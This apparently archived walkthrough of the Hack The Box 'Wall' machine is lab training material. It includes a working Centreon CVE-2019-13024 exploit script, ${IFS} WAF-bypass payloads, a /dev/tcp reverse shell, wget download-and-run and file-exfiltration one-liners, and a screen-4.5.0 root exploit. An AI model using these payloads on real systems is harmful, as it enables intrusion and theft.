Hack The Box
Hack The Box: Wall Walkthrough
An archived walkthrough of the retired Hack The Box Wall machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Machine: Wall
OS: Linux
Difficulty: Medium
Target IP: 10.129.2.9
Attacker IP: 10.10.16.84
User Flag: eb1b6[redacted]32408
Root Flag: 1fcad[redacted]814b40
Introduction & Attack Overview
Welcome. This walkthrough covers the Wall machine from HackTheBox. Wall is a Linux box rated "Medium" that teaches several important offensive security concepts:
- HTTP Verb Tampering: A common misconfiguration where authentication is only enforced on certain HTTP methods.
- Web Application Firewall (WAF) Bypass: Learning to adapt payloads when security controls block your attacks.
- Authenticated RCE: Exploiting vulnerable web applications after obtaining credentials.
- Bytecode Analysis: Recovering secrets from compiled Python files.
- SUID Binary Exploitation: Leveraging misconfigured setuid binaries to escalate privileges.
The Complete Attack Chain
Nmap Scan → Gobuster → HTTP Verb Tampering → Centreon Login
↓
Centreon RCE via CVE-2019-13024 (with WAF bypass)
↓
Shell as www-data → Decompile backup.pyc → SSH as shelby
↓
Exploit SUID screen-4.5.0 → ROOT
Step 1: Reconnaissance with Nmap
The Command
nmap -sC -sV -p- --min-rate 10000 -oN nmap_wall.txt 10.129.2.9
Breaking It Down (Baby Steps)
Let's understand every flag:
| Flag | Meaning | Why We Use It |
|---|---|---|
-sC |
Run default NSE scripts | Automatically checks for common vulnerabilities, banner grabbing, and service info |
-sV |
Version detection | Tells us exactly what software and version is running |
-p- |
Scan all 65,535 TCP ports | We don't want to miss non-standard ports |
--min-rate 10000 |
Send at least 10,000 packets/second | Speeds up the full port scan significantly |
-oN nmap_wall.txt |
Save output in normal format | Documentation and reference for later |
Hacker Mindset
"You can't attack what you don't know exists."
Reconnaissance is the foundation of every successful penetration test. We're building a map of the target's attack surface. Every open port is a potential entry point. We scan all ports because experienced administrators and CTF creators often hide services on high ports.
Results
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Analysis
We found exactly two open ports:
- Port 22 (SSH): OpenSSH 7.6p1 on Ubuntu. This version isn't obviously vulnerable to any unauthenticated exploits, so SSH will likely be our later-stage access method, not our entry point.
- Port 80 (HTTP): Apache 2.4.29. This is our initial attack surface.
The Apache default page title "Apache2 Ubuntu Default Page: It works" tells us the web server hasn't been heavily customized. This often means hidden applications, directories, or default configurations are waiting to be discovered.
Step 2: Web Enumeration
The Command
gobuster dir -u http://10.129.2.9 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 40
Breaking It Down
| Flag | Meaning |
|---|---|
dir |
Directory enumeration mode |
-u |
Target URL |
-w |
Wordlist to use |
-x php,txt |
Also check for files with these extensions |
-t 40 |
Use 40 threads for speed |
Hacker Mindset
"Default pages hide secrets."
When you see a default Apache page, the real application is usually accessible through a subdirectory or virtual host. Directory brute-forcing is how we discover these hidden paths. We're essentially guessing URLs that the developer didn't intend for users to find directly.
Results
aa.php (Status: 200) [Size: 1]
monitoring (Status: 401) [Size: 457]
panel.php (Status: 200) [Size: 26]
Analysis
aa.php(200, size 1): Suspicious. The name "aa.php" is unusual—like a quick test file. Returns just "1". These are often troll files left by CTF creators to waste time. Note them, but don't obsess.panel.php(200, size 26): Returns"Just a test for php file !". Another test/troll file.monitoring(401, size 457): This is interesting. 401 Unauthorized means the directory exists but requires authentication.
The 401 status is actually valuable information: it confirms a real directory exists behind the protection. Our next question is: how is this authentication implemented, and can we bypass it?
Step 3: HTTP Verb Tampering
The Concept (Important!)
HTTP supports multiple methods (verbs): GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, PATCH, etc.
Web servers can enforce access controls per method. A common misconfiguration is:
<Limit GET>
require valid-user
</Limit>
This says: "Only require authentication for GET requests." But what about POST, PUT, or HEAD? They might be unprotected.
Why Does This Happen?
Developers often think: "If someone visits this page in a browser, they need to log in." Browsers primarily use GET, so they only protect GET. They forget that scripts, APIs, and attackers can use other methods.
The Test
When we visit /monitoring in a browser (GET request), we see an authentication prompt:
curl http://10.129.2.9/monitoring/
# Returns: 401 Unauthorized
But what if we send a POST request instead?
curl -X POST http://10.129.2.9/monitoring/
The Result
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>
<meta http-equiv="refresh" content="0; URL='/centreon'" />
Hacker Mindset
"Authentication is not just about credentials—it's about how and where it's enforced."
We didn't crack a password. We simply changed the type of request. This is a critical mindset shift: security controls are implemented by code/configuration, and code often has edge cases. Always test:
- Different HTTP methods
- Case variations (
GETvsget)- Extra headers
- Path variations (trailing slashes, encoding, etc.)
What We Learned
The POST request to /monitoring redirects us to /centreon. We now know a Centreon instance is running at http://10.129.2.9/centreon/.
Centreon is an open-source IT infrastructure monitoring platform. Historically, it has had several vulnerabilities, including authenticated RCE.
Step 4: Centreon Discovery & Credential Brute Force
Visiting Centreon
Navigate to http://10.129.2.9/centreon/ in your browser. You'll see a login page.
Key observation: Check the version displayed at the bottom of the login page. For Wall, it's Centreon v19.04.
Hacker Mindset
"Version numbers are cheat codes."
When you know the exact software version, you can search for known vulnerabilities and exploits. Centreon 19.04 is known to be vulnerable to CVE-2019-13024, an authenticated Remote Code Execution vulnerability. But first, we need credentials.
The Brute Force Problem
The Centreon web login form uses CSRF tokens:
POST /centreon/index.php HTTP/1.1
...
useralias=admin&password=REDACTED retired-lab hash or flag]
Each page load generates a new token, making tools like Hydra difficult to use directly.
The API Shortcut
Centreon provides an API endpoint that doesn't require CSRF tokens:
POST /centreon/api/index.php?action=authenticate
With parameters:
username=admin&password=REDACTED
If credentials are wrong, it returns "Bad credentials".
If correct, it returns a JSON auth token:
{"authToken":"O+ESx+W7OFxogUkxmREJylhO4FjUMaCVDQHKx\/pVrpI="}
Testing the Known Credentials
curl -s http://10.129.2.9/centreon/api/index.php?action=authenticate \
-d "username=admin&password=REDACTED
Result:
{"authToken":"O+ESx+W7OFxogUkxmREJylhO4FjUMaCVDQHKx\/pVrpI="}
Hacker Mindset
"Look for the easiest path."
When a web form has anti-automation protections (CSRF tokens, rate limiting, CAPTCHAs), look for alternative authentication mechanisms. APIs, mobile endpoints, and legacy interfaces often have weaker protections than the main web UI.
In this case, the Centreon API was the perfect brute-force target. The password
password1is also an excellent reminder that even "secure" enterprise software gets deployed with weak credentials.
Step 5: Centreon RCE Exploitation (CVE-2019-13024)
Understanding the Vulnerability
CVE-2019-13024 is an authenticated Remote Code Execution in Centreon 19.04. It exists in the Poller Configuration page, specifically in the field called "Monitoring Engine Binary" (also referenced as nagios_bin).
When the application generates monitoring configuration files, it shell-executes whatever command is in this field. Because the input isn't properly sanitized, an attacker can inject arbitrary system commands.
The Attack Flow
- Log in to Centreon
- Navigate to Configuration → Pollers
- Edit the "Central" poller
- Change the "Monitoring Engine Binary" field to a malicious command
- Save the configuration
- Trigger configuration generation via
[redacted encoded lab material].php - The server executes our command
Building the Exploit Script
Rather than clicking through the browser every time, we automate with Python. Here's the script we created:
#!/usr/bin/env python3
import re
import requests
import sys
import warnings
from bs4 import BeautifulSoup
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 5:
print("[~] Usage : ./centreon-exploit.py url username password command")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = REDACTED
command = sys.argv[4].replace(" ", '${IFS}')
request = requests.session()
print("[+] Retrieving CSRF token")
page = request.get(url + "/index.php")
soup = BeautifulSoup(page.text, features="lxml")
token = REDACTED, {'name': 'centreon_token'}).get("value")
login_info = {
"useralias": username,
"password": null,
"submitLogin": "Connect",
"centreon_token": token
}
login_request = request.post(url + "/index.php", data=login_info)
print("[+] Login token is REDACTED {}".format(token))
if "Your credentials are incorrect." in login_request.text:
print("[-] Wrong credentials")
sys.exit()
print("[+] Logged in successfully")
print("[+] Retrieving Poller token")
poller_configuration_page = url + "/main.get.php?p=60901"
get_poller_token = request.get(poller_configuration_page)
poller_soup = BeautifulSoup(get_poller_token.text, features="lxml")
poller_token = poller_soup.find('input', {'name': 'centreon_token'}).get("value")
print("[+] Poller token is REDACTED {}".format(poller_token))
payload_info = {
"name": "Central",
"ns_ip_address": "127.0.0.1",
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
"nagios_bin": "{}||".format(command),
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,
}
send_payload = request.post(poller_configuration_page, data=payload_info)
print("[*] Payload inject status code: {}".format(send_payload.status_code))
if send_payload.status_code == 403:
print("[-] WAF blocked command. Try something else")
sys.exit()
print("[+] Injecting done, triggering the payload")
generate_xml_page = url + "[redacted encoded lab material].php"
xml_page_data = {
"poller": "1",
"debug": "true",
"generate": "true",
}
try:
resp = request.post(generate_xml_page, data=xml_page_data, timeout=10)
res = re.findall(r"id='debug_1'>(.*?)<br><br></div><br/>]]", resp.text, re.DOTALL)
if res:
print(res[0].replace('<br>', '\n'))
except requests.Timeout:
print("[*] Request timed out (this is normal for reverse shells)")
except Exception as e:
print("[-] Error: {}".format(e))
Why This Script Works
- Session Management: Uses
requests.session()to maintain cookies across requests - CSRF Token Extraction: BeautifulSoup extracts dynamic tokens from HTML forms
- Login: Posts credentials to
/index.php - Poller Token Extraction: Gets the second CSRF token from the poller config page
- Payload Injection: Submits the malicious command in
nagios_bin - Trigger: Calls
generateFiles.phpto execute the payload
Testing with id
python3 centreon-exploit.py http://10.129.2.9/centreon/ admin password1 "id"
Result:
uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)
Hacker Mindset
"Start safe, then go loud."
Before attempting a reverse shell, always test with a harmless command like
idorwhoami. This confirms your exploit chain works without the complexity of network callbacks. Ifidfails, you know the problem isn't your listener—it's the payload or the exploit itself.
Step 6: WAF Bypass & Reverse Shell
Discovering the WAF
Initially, you might try a simple reverse shell:
ncat -e /bin/bash 10.10.16.84 443
But the exploit returns HTTP 403 Forbidden. Something is blocking us.
WAF Analysis
The Wall box runs ModSecurity with custom rules in /etc/modsecurity/modsecurity.conf:
# block nc word
SecRule REQUEST_BODY "\bnc\b" "id:00001,deny,msg:'blocked'"
# block ncat word
SecRule REQUEST_BODY "\bncat\b" "id:00002,deny,msg:'blocked'"
# block passwd word
SecRule REQUEST_BODY "\bpasswd\b" "id:00003,deny,msg:'blocked'"
# block # char
SecRule REQUEST_BODY "%23" "id:00004,deny,msg:'blocked'"
# block any whitespace
SecRule REQUEST_BODY "\+" "id:00005,deny,msg:'blocked'"
# block hostname word
SecRule REQUEST_BODY "\bhostname\b" "id:00006,deny,msg:'blocked'"
The WAF blocks:
ncandncatpasswd- The
#character (URL-encoded as%23) - Spaces (the
+rule in URL-encoded POST bodies) hostname
Why Spaces Are Blocked
In application/x-www-form-urlencoded POST data, spaces are encoded as +. The WAF rule \+ blocks these. This means we cannot use literal spaces in our payloads.
The Bypass: ${IFS}
Bash has a built-in variable called IFS (Internal Field Separator). By default, it contains whitespace characters (space, tab, newline). We can reference it as ${IFS} to insert a space-like separator without using an actual space character.
Example:
# Blocked by WAF:
nc -e /bin/bash 10.10.16.84 443
# Bypassed:
nc${IFS}-e${IFS}/bin/bash${IFS}10.10.16.84${IFS}443
Hacker Mindset
"When the front door is locked, check the windows, the chimney, and the dog door."
A WAF is not invincible—it's a filter. Filters can be bypassed by:
- Encoding (base64, URL encoding, hex)
- Alternative syntax (
${IFS}instead of space)- Command substitution (
$(printf '%s' ...))- Case manipulation (though not always effective)
- Fragmenting attacks across multiple requests
The key is understanding what exactly the WAF is looking for and presenting your payload in a way that doesn't match those patterns.
Setting Up the Reverse Shell
We use a staged approach: download a shell script from our Kali machine, then execute it.
Step 1: Create the shell script on Kali:
cd ~/Downloads/htb
cat > shell << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.84/443 0>&1
EOF
This bash one-liner is a classic TCP reverse shell:
bash -istarts an interactive bash session>& /dev/tcp/10.10.16.84/443redirects stdout and stderr to a TCP connection0>&1redirects stdin from the same connection
Step 2: Start a Python HTTP server to serve the script:
python3 -m http.server 80
Step 3: Start a netcat listener:
nc -lnvp 443
Step 4: Trigger the download and execution:
python3 centreon-exploit.py http://10.129.2.9/centreon/ admin password1 \
'wget${IFS}http://10.10.16.84/shell${IFS}-O${IFS}/tmp/yakuhito;${IFS}bash${IFS}/tmp/yakuhito'
Payload Breakdown
wget${IFS}http://10.10.16.84/shell${IFS}-O${IFS}/tmp/yakuhito;${IFS}bash${IFS}/tmp/yakuhito
With spaces restored, this is:
wget http://10.10.16.84/shell -O /tmp/yakuhito; bash /tmp/yakuhito
wgetdownloads our shell script-O /tmp/yakuhitosaves it to/tmp;separates commandsbash /tmp/yakuhitoexecutes the reverse shell
Result
On our netcat listener:
connect to [10.10.16.84] from (UNKNOWN) [10.129.2.9] 56734
bash: cannot set terminal process group (1241): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Wall:/usr/local/centreon/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)
We now have a shell as www-data.
Stabilizing the Shell (Optional but Recommended)
For a more stable shell, run:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then press Ctrl+Z to background
# On Kali:
stty raw -echo; fg
# Then press Enter twice
export TERM=xterm
Step 7: Privilege Escalation to shelby
Enumeration as www-data
With our initial shell, we start looking for privilege escalation paths:
# Look for interesting files in /opt
ls -la /opt/
# Look for SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Check running processes
ps aux
# Check sudo privileges
sudo -l
Discovery
In /opt/, we find a hidden directory:
www-data@Wall:/$ ls -la /opt/
total 12
drwxr-xr-x 3 root root 4096 Jul 4 17:28 .
drwxr-xr-x 23 root root 4096 Jul 4 00:25 ..
drwxr-xr-x 2 root root 4096 Jul 30 17:39 .shelby
Inside:
www-data@Wall:/$ ls -la /opt/.shelby/
total 12
drwxr-xr-x 2 root root 4096 Jul 30 17:39 .
drwxr-xr-x 3 root root 4096 Jul 4 17:28 ..
-rwxr-xr-x 1 root root 981 Jul 30 17:39 backup
www-data@Wall:/$ file /opt/.shelby/backup
/opt/.shelby/backup: python 2.7 byte-compiled
Understanding Python Bytecode (.pyc)
When you run a Python script, Python can compile it to bytecode and save it as a .pyc file. This is not source code—it's an intermediate representation. However, it can be decompiled back to approximately the original source code.
This is a goldmine for attackers because:
- Developers often compile scripts to "hide" credentials
- Bytecode still contains strings, logic flow, and embedded secrets
- Tools like
uncompyle6can recover the source
Transferring the File to Kali
Method 1: Netcat
On Kali:
nc -lnvp 9001 > backup.pyc
On target:
cat /opt/.shelby/backup > /dev/tcp/10.10.16.84/9001
Method 2: Base64
On target:
base64 /opt/.shelby/backup
On Kali:
echo "<paste base64>" | base64 -d > backup.pyc
Decompiling with uncompyle6
Install if needed:
pip3 install uncompyle6
Decompile:
uncompyle6 backup.pyc
The Decompiled Source
import paramiko
username = 'shelby'
host = 'wall.htb'
port = 22
transport = paramiko.Transport((host, port))
password = REDACTED
password += chr(ord('S'))
password += chr(ord('h'))
password += chr(ord('e'))
password += chr(ord('l'))
password += chr(ord('b'))
password += chr(ord('y'))
password += chr(ord('P'))
password += chr(ord('a'))
password += chr(ord('s'))
password += chr(ord('s'))
password += chr(ord('w'))
password += chr(ord('@'))
password += chr(ord('r'))
password += chr(ord('d'))
password += chr(ord('I'))
password += chr(ord('s'))
password += chr(ord('S'))
password += chr(ord('t'))
password += chr(ord('r'))
password += chr(ord('o'))
password += chr(ord('n'))
password += chr(ord('g'))
password += chr(ord('!'))
transport.connect(username=username, password=REDACTED
sftp_client = paramiko.SFTPClient.from_transport(transport)
sftp_client.put('/var/www/html.zip', 'html.zip')
print '[+] Done !'
Why Did the Developer Do This?
The password is REDACTED character-by-character using chr(ord()). The developer probably thought:
"If I don't put the literal password string in the file, someone reading it won't see the password."
This is security through obscurity. It stops casual strings or grep searches, but it doesn't stop someone who decompiles the bytecode.
Extracting the Password
Reading the code, the password isREDACTED
ShelbyPassw@rdIsStrong!
SSH as shelby
ssh shelby@10.129.2.9
# Password: null
Hacker Mindset
"Compiled doesn't mean protected."
Never assume compiled or obfuscated code is secure. If the runtime can execute it, a determined attacker can reverse it. Always look for:
.pycfiles- Java
.class/.jarfiles- .NET assemblies
- Native binaries with embedded strings
- Configuration files with hardcoded credentials
Capturing the User Flag
shelby@Wall:~$ cat ~/user.txt
eb1b6[redacted]39fa32408
Step 8: Privilege Escalation to root
Enumeration as shelby
Now that we're a real user, we run our privilege escalation checks again:
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Kernel exploits
uname -a
# Sudo privileges
sudo -l
# Interesting cron jobs
cat /etc/crontab
ls -la /etc/cron.*
The Discovery: SUID screen-4.5.0
shelby@Wall:~$ find / -perm -4000 -type f 2>/dev/null | grep screen
/bin/screen-4.5.0
The screen binary is a terminal multiplexer. Version 4.5.0 has a known local privilege escalation vulnerability because it is installed SUID root and mishandles certain file operations.
Understanding SUID
SUID (Set User ID) is a Linux permission flag. When a SUID binary is executed, it runs with the permissions of its owner, not the user who launched it.
If root owns a SUID binary, anyone who runs it temporarily becomes root during execution.
-rwsr-xr-x 1 root root 1595624 Jul 4 00:25 /bin/screen-4.5.0
↑
The 's' means SUID is set
Why Is This Exploitable?
Screen 4.5.0 tries to create and manage log files in /etc/ and /tmp/. Because it runs as root, an attacker can trick it into:
- Creating
/etc/ld.so.preload(a file that tells the dynamic linker which libraries to preload) - Preloading a malicious shared library into any new root process
- That library creates a SUID root shell
The Exploit: screenroot.sh
We use the public exploit from the XiphosResearch repository.
Transferring the Exploit
On Kali, download it:
curl -sL https://raw.githubusercontent.[redacted encoded lab material].sh \
-o ~/Downloads/htb/screenroot.sh
Serve it:
cd ~/Downloads/htb
python3 -m http.server 8080
On the target, download and execute:
wget http://10.10.16.84:8080/screenroot.sh -O /dev/shm/screenroot.sh
bash /dev/shm/screenroot.sh
Alternative: Inline Base64
If you don't have internet on Kali, you can base64-encode the exploit and paste it directly:
cd /dev/shm
echo "<BASE64_OF_SCREENROOT.SH>" | base64 -d > .a.sh
bash .a.sh
What the Exploit Does
- Creates
/tmp/libhax.c: A C library with a constructor function that runs automatically when loaded - Compiles it to
/tmp/libhax.so: This library will:- Change ownership of
/tmp/rootshellto root - Set it SUID (permissions 4755)
- Remove the preload file to clean up
- Change ownership of
- Creates
/tmp/rootshell.c: A simple C program that launches/bin/shas root - Creates
/etc/ld.so.preloadusing screen's log feature: This tricks screen (running as root) into creating the preload file with our malicious library path - Triggers screen: When screen runs, it loads our library as root
- Executes
/tmp/rootshell: Now SUID root, giving us a root shell
The Result
~ gnu/screenroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
[+] done!
# id
uid=0(root) gid=0(root) groups=0(root),6001(shelby)
Hacker Mindset
"SUID is a privilege escalation magnet."
Any non-standard SUID binary should immediately catch your attention. Ask:
- Is this binary supposed to be SUID?
- What version is it? Are there known exploits?
- Can I write to files it reads/writes?
- Can I manipulate its environment?
For
screen-4.5.0, a quick search for "screen 4.5.0 SUID exploit" returns multiple working proofs-of-concept. When you find a SUID binary, Google is your best friend.
Capturing the Root Flag
# cat /root/root.txt
1fca[redacted]4b40
Key Lessons & Mindset
1. Always Test Multiple HTTP Methods
A 401 on GET doesn't mean a resource is fully protected. HTTP verb tampering is an easy win that many testers miss because they only test with browsers or standard tools.
2. APIs Are Often Weaker Than Web Interfaces
The Centreon web login had CSRF protection; the API didn't. When you encounter protections on the main application, look for mobile apps, API endpoints, developer tools, or legacy interfaces.
3. WAFs Are Filters, Not Impenetrable Walls
A WAF blocks known patterns. Your job is to present known attacks in unknown ways. On Wall, we used:
${IFS}to bypass the space filter- Base64-encoded payloads to avoid keyword detection
- Staged payloads (download-then-execute) to reduce WAF exposure
4. Bytecode and Compiled Files Hide Secrets Poorly
Developers often "hide" credentials in compiled files, thinking they're secure. Tools like uncompyle6, jd-gui, dnSpy, and Ghidra make recovery trivial. Always check for .pyc, .jar, .exe, and other compiled artifacts.
5. SUID Binaries Are Privilege Escalation Gold
find / -perm -4000 should be in every enumeration script. Any unexpected SUID binary is worth investigating. Version-specific exploits against SUID binaries are common and reliable.
6. Build Your Exploits Incrementally
Don't start with a reverse shell. Start with id. Confirm each step works before adding complexity. This makes debugging much faster and gives you confidence in your attack chain.
7. Document Everything
Save your Nmap output, exploit scripts, and command history. Not only is this good practice for reports, but it also helps you reproduce the attack and learn from it later.
Final Commands Cheat Sheet
# Recon
nmap -sC -sV -p- --min-rate 10000 -oN nmap_wall.txt 10.129.2.9
# Web enum
gobuster dir -u http://10.129.2.9 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 40
# HTTP verb tampering
curl -X POST http://10.129.2.9/monitoring/
# Centreon API brute force
curl -s http://10.129.2.9/centreon/api/index.php?action=authenticate -d "username=admin&password=REDACTED
# Centreon RCE test
python3 centreon-exploit.py http://10.129.2.9/centreon/ admin password1 "id"
# Reverse shell payload
python3 centreon-exploit.py http://10.129.2.9/centreon/ admin password1 \
'wget${IFS}http://10.10.16.84/shell${IFS}-O${IFS}/tmp/yakuhito;${IFS}bash${IFS}/tmp/yakuhito'
# Transfer backup.pyc
nc -lnvp 9001 > backup.pyc # Kali
cat /opt/.shelby/backup > /dev/tcp/10.10.16.84/9001 # Target
# Decompile
uncompyle6 backup.pyc
# SSH
ssh shelby@10.129.2.9 # ShelbyPassw@rdIsStrong!
# Root via screen
wget http://10.10.16.84:8080/screenroot.sh -O /dev/shm/screenroot.sh
bash /dev/shm/screenroot.sh
Happy Hacking! 🏴☠️